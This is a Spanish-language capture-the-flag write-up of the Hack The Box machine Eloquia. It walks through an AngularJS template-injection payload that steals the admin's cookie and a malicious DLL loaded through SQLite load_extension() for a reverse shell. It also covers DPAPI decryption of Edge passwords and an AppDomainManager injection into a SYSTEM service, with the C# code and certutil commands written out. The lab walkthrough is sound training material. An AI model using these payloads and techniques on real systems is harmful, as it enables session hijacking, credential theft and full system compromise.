Eloquia WriteUp

Tabla de contenido

Eloquia WriteUp

Eloquia es una máquina de dificultad ⬛ Insane de Hack The Box que, a diferencia de otras Insane muy cargadas de Active Directory, es casi puro web + Windows. El punto de entrada es un CSTI de AngularJS 1.8.2 en un blog hecho con Django, que permite ejecutar JavaScript en el navegador del administrador y robar su sesión. Desde ahí se abusa de django-sql-explorer para conseguir ejecución remota con load_extension(), se descifran credenciales del navegador Edge vía DPAPI, y se termina con una inyección de AppDomainManager en un servicio .NET que corre como SYSTEM.

🧭 Nota. Esta máquina estaba activa al escribir el write-up, así que no incluye valores de flags. Además, la versión desplegada está más endurecida que la que describen algunos write-ups públicos (aquí hay saneo de HTML en los artículos, una CSP estricta y modo ConstrainedLanguage en varios sitios), por lo que la cadena se adapta a esas defensas en lugar de copiar el payload clásico tal cual.

🗺️ Cadena de ataque

Recon (80 IIS+ARR, 5985 WinRM) → blog Django + AngularJS 1.8.2 + qooqle.htb (OAuth)
      │
      ▼
CSTI en el cuerpo del artículo (ng-focus + $event.view) → reportar → bot admin (HeadlessChrome) → robo de sessionid
      │
      ▼
Django admin → django-sql-explorer (/dev/sql-explorer/)
      │
      ▼
Subir DLL como banner (FileField del admin, sin validar) + SELECT load_extension(...) → RCE como eloquia\web
      │
      ▼
DPAPI: descifrar Login Data de Edge (Python en el target) → credenciales de Olivia.KAT
      │
      ▼
WinRM como Olivia.KAT → user.txt
      │
      ▼
Servicio .NET Failure2Ban (SYSTEM) con .exe.config escribible → AppDomainManager injection → root.txt

🔍 Reconocimiento

Dos puertos, un servidor web IIS y WinRM.

nmap -Pn -p- --min-rate 2000 --open -oN ports.txt 10.129.123.135
PuertoServicioDetalle
80HTTPIIS 10 con ARR (reverse proxy) hacia waitress (Django)
5985WinRM

El sitio (eloquia.htb) es un blog en Django con AngularJS 1.8.2 en el front, y hay un segundo host, qooqle.htb, una parodia de proveedor OAuth. Se añaden ambos a /etc/hosts. Registrando un usuario se llega al panel donde se pueden crear artículos (/article/create/) y reportarlos (/article/report/<id>/), y los comentarios se renderizan con Angular.

🎯 Foothold: CSTI en AngularJS 1.8.2

El detalle clave está en cómo se pinta el contenido del artículo. El cuerpo se renderiza dentro del elemento ng-app="article-details", así que AngularJS compila ese HTML en el navegador de quien lo visite. AngularJS 1.8.2 no tiene sandbox de expresiones, de modo que una directiva como ng-focus ejecuta código.

En esta versión el contenido se sanea con una lista blanca de etiquetas. Se eliminan <input>, <div> o <img>, pero se conservan otras como <u>, <a> o <span> manteniendo sus atributos, incluidos ng-focus, autofocus o ng-init. Además hay una CSP estricta (script-src 'self', sin unsafe-eval), que bloquea el JavaScript inline y Function(), pero no las expresiones de AngularJS, que las evalúa su propio intérprete. La pieza que da acceso a window es $event.view.

El payload va en el cuerpo del artículo, sobre una etiqueta permitida con autofocus para que dispare sin interacción.

<u autofocus tabindex="0" ng-focus="formData.comment='CK '+$event.view.document.cookie;submitForm()">x</u>

Al crear el artículo (ojo, el banner del formulario de creación exige una imagen de al menos 20 KB) y reportarlo, un bot con HeadlessChrome lo visita en torno a 90-100 segundos. La directiva ng-focus lee document.cookie y llama a submitForm(), que publica la cookie como comentario. Se recupera leyendo /article/comment/get/<id>/.

curl -s "http://eloquia.htb/article/comment/get/<id>/"
# WIN ... CK[sessionid=<...>; csrftoken=<...>]

El sessionid del administrador es legible desde JavaScript, así que con esa cookie ya tenemos su sesión.

🗄️ Django admin y django-sql-explorer

Con la cookie robada se accede al panel en /accounts/admin/. Entre los modelos aparece django-sql-explorer, cuya interfaz de ejecución vive en /dev/sql-explorer/ (el enlace está en la base del admin). El playground está en /dev/sql-explorer/play/ y ejecuta SQL contra la conexión default.

# ejemplo de ejecución (con la cookie del admin y el csrf del formulario)
curl -s -H "Cookie: sessionid=<...>" \
  --data-urlencode "csrfmiddlewaretoken=<...>" \
  --data-urlencode "sql=SELECT sqlite_version()" \
  --data-urlencode "database_connection=1" \
  "http://eloquia.htb/dev/sql-explorer/play/"

💥 RCE con load_extension()

El explorer tiene una lista negra de palabras clave (INSERT, UPDATE, DELETE, DROP…), pero load_extension() es una función, no una palabra reservada, así que la esquiva. Y lo mejor, la carga de extensiones de SQLite está habilitada. La idea es cargar una DLL maliciosa cuyo DllMain se ejecute al hacer LoadLibrary.

Primero se compila la DLL (una reverse shell en C con WinSock).

x86_64-w64-mingw32-gcc -shared -o evil.dll evil.c -lws2_32

Se sube como banner de un artículo desde el admin (/accounts/admin/Eloquia/article/add/), cuyo FileField no valida el tipo, así que acepta la .dll. El fichero cae en static/assets/images/blog/evil.dll. Con el listener preparado, se dispara la carga.

SELECT load_extension('static/assets/images/blog/evil.dll')

DllMain se ejecuta como eloquia\web y devuelve la shell.

C:\Web\Eloquia> whoami
eloquia\web

🔑 DPAPI: credenciales de Edge

La cuenta web tiene un perfil de Microsoft Edge con credenciales guardadas. En esta máquina PowerShell y wmic están bloqueados por GPO, pero como el blog corre sobre Python hay un intérprete en C:\Program Files\Python311\python.exe con las librerías de cifrado disponibles. El proceso de descifrado es el clásico de Chromium.

  1. Leer Local State, extraer os_crypt.encrypted_key (base64) y quitar el prefijo DPAPI.
  2. Desproteger esa clave con CryptUnprotectData (vía ctypes), ejecutándose como el propio usuario web.
  3. Descifrar cada password_value de Login Data (AES-256-GCM, formato v10/v20).

El script se sube como un banner más y se ejecuta con el Python del sistema.

"C:\Program Files\Python311\python.exe" C:\Web\Eloquia\static\assets\images\blog\dp.py

De ahí sale la credencial de Olivia.KAT, que pertenece a Remote Management Users.

👤 user.txt

Con esas credenciales se entra por WinRM.

evil-winrm -i eloquia.htb -u Olivia.KAT -p '<password>'

Un detalle que despista, la flag de usuario no está en el escritorio de Olivia.KAT, sino en el de la cuenta del servicio web (C:\Users\web\Desktop\user.txt), a la que ya teníamos acceso desde la shell inicial. En el escritorio de Olivia.KAT hay un Todo.txt que adelanta la vía de escalada, un servicio que lee ficheros de log y se reinicia periódicamente.

⚙️ Escalada a SYSTEM: AppDomainManager injection

El servicio Failure2Ban es una aplicación .NET Framework que corre como SYSTEM desde C:\Program Files\Qooqle IPS Software\Failure2Ban - Prototype\Failure2Ban\bin\Debug\. La clave está en los permisos, Olivia.KAT tiene escritura sobre ese directorio y sobre Failure2Ban.exe.config.

La técnica de AppDomainManager injection consiste en decirle al CLR que, al arrancar el proceso, cargue un ensamblado gestor de AppDomain personalizado antes de Main(). Se define una clase que hereda de AppDomainManager y ejecuta código en InitializeNewDomain.

using System;
using System.Diagnostics;
namespace EvilManager {
  public class Evil : AppDomainManager {
    public override void InitializeNewDomain(AppDomainSetup info) {
      base.InitializeNewDomain(info);
      Process.Start("cmd.exe", "/c type C:\\Users\\Administrator\\Desktop\\root.txt > C:\\Web\\Eloquia\\static\\assets\\images\\blog\\r.txt & icacls ...");
    }
  }
}

Aquí aparece otro obstáculo, el WinRM de Olivia.KAT también está en ConstrainedLanguage, así que [IO.File]::WriteAllBytes está prohibido. La solución es escribir los ficheros con Set-Content (el base64 en una sola línea) y decodificarlos con certutil -decode, que al ser un ejecutable externo no se ve afectado por el modo restringido.

Set-Content -Path "$env:TEMP\cs.b64" -Value "<base64 del .cs>"
cmd /c certutil -f -decode "%TEMP%\cs.b64" "%TEMP%\EvilManager.cs"
& "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /target:library /out:"...\Debug\Evil.dll" "%TEMP%\EvilManager.cs"

Después se sobrescribe el Failure2Ban.exe.config (conservando startup y appSettings) añadiendo el bloque que engancha el gestor.

<runtime>
  <appDomainManagerAssembly value="Evil, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null" />
  <appDomainManagerType value="EvilManager.Evil" />
</runtime>

Una tarea programada reinicia el servicio cada pocos minutos. Cuando lo hace, el CLR carga Evil.dll como SYSTEM, se ejecuta InitializeNewDomain y root.txt acaba copiado en la carpeta web, lista para descargar.

curl -s http://eloquia.htb/static/assets/images/blog/r.txt

🧠 Conclusiones

Eloquia es una lección estupenda de explotación web en cadena. Lo más didáctico es el CSTI de AngularJS 1.8.2 funcionando pese a saneo de HTML y CSP (gracias a $event.view y al intérprete de expresiones), el abuso de load_extension() de SQLite como primitiva de RCE saltándose la lista negra, el descifrado DPAPI de Edge cuando PowerShell está capado (tirando de Python y ctypes), y una escalada final por AppDomainManager injection que además obliga a sortear ConstrainedLanguage con certutil. Una cadena moderna y muy realista de principio a fin.